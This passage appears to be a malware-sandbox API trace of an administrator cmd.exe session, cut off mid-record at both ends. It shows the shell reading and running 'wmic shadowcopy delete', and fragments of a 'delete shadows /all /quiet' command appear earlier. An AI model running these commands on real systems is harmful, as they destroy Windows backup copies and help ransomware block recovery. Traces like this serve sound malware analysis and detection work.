_get_osfhandle (_FileHandle=0) returned 0x27c [0044.443] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c46, cchWideChar=1 | out: lpWideCharStr="cete shadows /all /quiet\n") returned 1 [0044.443] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.443] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c48, cchWideChar=1 | out: lpWideCharStr="ote shadows /all /quiet\n") returned 1 [0044.443] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.443] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4a, cchWideChar=1 | out: lpWideCharStr="pe shadows /all /quiet\n") returned 1 [0044.443] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.443] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4c, cchWideChar=1 | out: lpWideCharStr="y shadows /all /quiet\n") returned 1 [0044.443] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.443] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4e, cchWideChar=1 | out: lpWideCharStr=" shadows /all /quiet\n") returned 1 [0044.443] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.443] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c50, cchWideChar=1 | out: lpWideCharStr="dhadows /all /quiet\n") returned 1 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.444] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c52, cchWideChar=1 | out: lpWideCharStr="eadows /all /quiet\n") returned 1 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.444] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c54, cchWideChar=1 | out: lpWideCharStr="ldows /all /quiet\n") returned 1 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.444] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c56, cchWideChar=1 | out: lpWideCharStr="eows /all /quiet\n") returned 1 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.444] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c58, cchWideChar=1 | out: lpWideCharStr="tws /all /quiet\n") returned 1 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.444] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5a, cchWideChar=1 | out: lpWideCharStr="es /all /quiet\n") returned 1 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.444] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5c, cchWideChar=1 | out: lpWideCharStr="\n /all /quiet\n") returned 1 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] GetFileType (hFile=0x27c) returned 0x3 [0044.444] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.444] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.444] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.444] GetFileType (hFile=0x288) returned 0x3 [0044.445] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmic shadowcopy delete\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic shadowcopy delete\n", lpUsedDefaultChar=0x0) returned 24 [0044.445] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0xe195f2f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f7d8*=0x17, lpOverlapped=0x0) returned 1 [0044.445] GetProcessHeap () returned 0x2cd147d0000 [0044.445] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x4012) returned 0x2cd147d8fe0 [0044.445] GetProcessHeap () returned 0x2cd147d0000 [0044.445] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d8fe0) returned 1 [0044.445] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0044.445] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0044.445] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0044.445] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0044.445] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0044.445] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0044.445] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0044.446] GetProcessHeap () returned 0x2cd147d0000 [0044.446] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xb0) returned 0x2cd147d8320 [0044.446] GetProcessHeap () returned 0x2cd147d0000 [0044.446] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x1a) returned 0x2cd147d6a80 [0044.446] GetProcessHeap () returned 0x2cd147d0000 [0044.446] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x36) returned 0x2cd147d83e0 [0044.446] GetConsoleOutputCP () returned 0x1b5 [0044.487] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0044.487] SetThreadUILanguage (LangId=0x0) returned 0x409 [0044.489] GetConsoleTitleW (in: lpConsoleTitle=0xe195f2f620, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0044.494] malloc (_Size=0xffce) returned 0x2cd149f0840 [0044.494] ??_V@YAXPEAX@Z () returned 0x2cd149f0840 [0044.494] malloc (_Size=0xffce) returned 0x2cd14a00820 [0044.494] ??_V@YAXPEAX@Z () returned 0x2cd14a00820 [0044.494] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0044.494] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0044.494] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0044.494] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0044.494] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0044.494] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0044.494] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0044.494] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0044.495] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0044.495] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0044.495] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0044.495] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0044.495] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0044.495] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0044.495] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0044.495] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0044.495] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0044.495] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0044.495] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0044.495] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0044.495] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0044.495] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0044.495] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0044.495] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0044.495] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0044.495] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0044.495] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0044.495] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0044.495] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0044.495] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0044.495] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0044.495] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0044.495] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0044.495] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0044.495] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0044.495] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0044.495] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0044.495] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0044.495] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0044.495] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0044.495] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0044.495] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0044.495] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0044.495] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0044.495] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0044.495] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0044.495] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0044.495] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0044.495] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0044.495] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0044.495] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0044.495] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0044.495] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0044.495] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0044.496] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0044.496] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0044.496] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0044.496] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0044.496] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0044.496] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0044.496] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0044.496] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0044.496] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0044.496] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0044.496] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0044.496] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0044.496] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0044.496] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0044.496] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0044.496] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0044.496] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0044.496] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0044.496] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0044.496] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0044.496] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0044.496] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0044.496] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0044.496] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0044.496] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0044.496] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0044.496] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0044.496] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0044.496] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0044.496] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0044.496] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0044.496] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0044.496] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0044.496] ??_V@YAXPEAX@Z () returned 0x1 [0044.496] GetProcessHeap () returned 0x2cd147d0000 [0044.496] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xffde) returned 0x2cd147d8fe0 [0044.497] GetProcessHeap () returned 0x2cd147d0000 [0044.497] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x40) returned 0x2cd147d1850 [0044.497] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0044.497] malloc (_Size=0xffce) returned 0x2cd14a00820 [0044.497] ??_V@YAXPEAX@Z () returned 0x2cd14a00820 [0044.497] GetProcessHeap () returned 0x2cd147d0000 [0044.497] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x1ffac) returned 0x2cd147eab30 [0044.499] SetErrorMode (uMode=0x0) returned 0x0 [0044.499] SetErrorMode (uMode=0x1) returned 0x0 [0044.499] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2cd147eab40, lpFilePart=0xe195f2eea0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe195f2eea0*="Desktop") returned 0x17 [0044.499] SetErrorMode (uMode=0x0) returned 0x1 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147eab30, Size=0x4a) returned 0x2cd147eab30 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147eab30) returned 0x4a [0044.499] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0044.499] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x1bc) returned 0x2cd147d6d10 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x368) returned 0x2cd147e8fd0 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147e8fd0, Size=0x1be) returned 0x2cd147e8fd0 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147e8fd0) returned 0x1be [0044.499] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xe8) returned 0x2cd147e91a0 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147e91a0, Size=0x7e) returned 0x2cd147e91a0 [0044.499] GetProcessHeap () returned 0x2cd147d0000 [0044.499] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147e91a0) returned 0x7e [0044.499] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0044.500] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0044.500] GetLastError () returned 0x2 [0044.500] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0044.500] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0044.500] GetLastError () returned 0x2 [0044.500] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0044.500] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0044.500] GetLastError () returned 0x2 [0044.500] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0044.500] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0044.501] GetLastError () returned 0x2 [0044.501] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0044.501] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0x2cd147e9230 [0044.501] FindClose (in: hFindFile=0x2cd147e9230 | out: hFindFile=0x2cd147e9230) returned 1 [0044.501] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0044.501] GetLastError () returned 0x2 [0044.501] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0x2cd147e9230 [0044.501] FindClose (in: hFindFile=0x2cd147e9230 | out: hFindFile=0x2cd147e9230) returned 1 [0044.501] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0044.501] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0044.501] ??_V@YAXPEAX@Z () returned 0x1 [0044.501] GetConsoleTitleW (in: lpConsoleTitle=0xe195f2f190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0044.502] GetProcessHeap () returned 0x2cd147d0000 [0044.502] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x21c) returned 0x2cd147e9530 [0044.502] GetConsoleTitleW (in: lpConsoleTitle=0x2cd147e9540, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0044.504] GetProcessHeap () returned 0x2cd147d0000 [0044.504] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147e9530, Size=0xa8) returned 0x2cd147e9530 [0044.504] GetProcessHeap () returned 0x2cd147d0000 [0044.504] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147e9530) returned 0xa8 [0044.504] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - wmic shadowcopy delete") returned 1 [0044.506] GetProcessHeap () returned 0x2cd147d0000 [0044.506] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147e9530) returned 1 [0044.506] InitializeProcThreadAttributeList (in: lpAttributeList=0xe195f2f0b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xe195f2efa0 | out: lpAttributeList=0xe195f2f0b0, lpSize=0xe195f2efa0) returned 1 [0044.506] UpdateProcThreadAttribute (in: lpAttributeList=0xe195f2f0b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xe195f2ef8c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xe195f2f0b0, lpPreviousValue=0x0) returned 1 [0044.506] GetStartupInfoW (in: lpStartupInfo=0xe195f2f040 | out: lpStartupInfo=0xe195f2f040*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x27c, hStdOutput=0x288, hStdError=0x288)) [0044.506] GetProcessHeap () returned 0x2cd147d0000 [0044.506] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x20) returned 0x2cd147d8420 [0044.506] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0044.507] 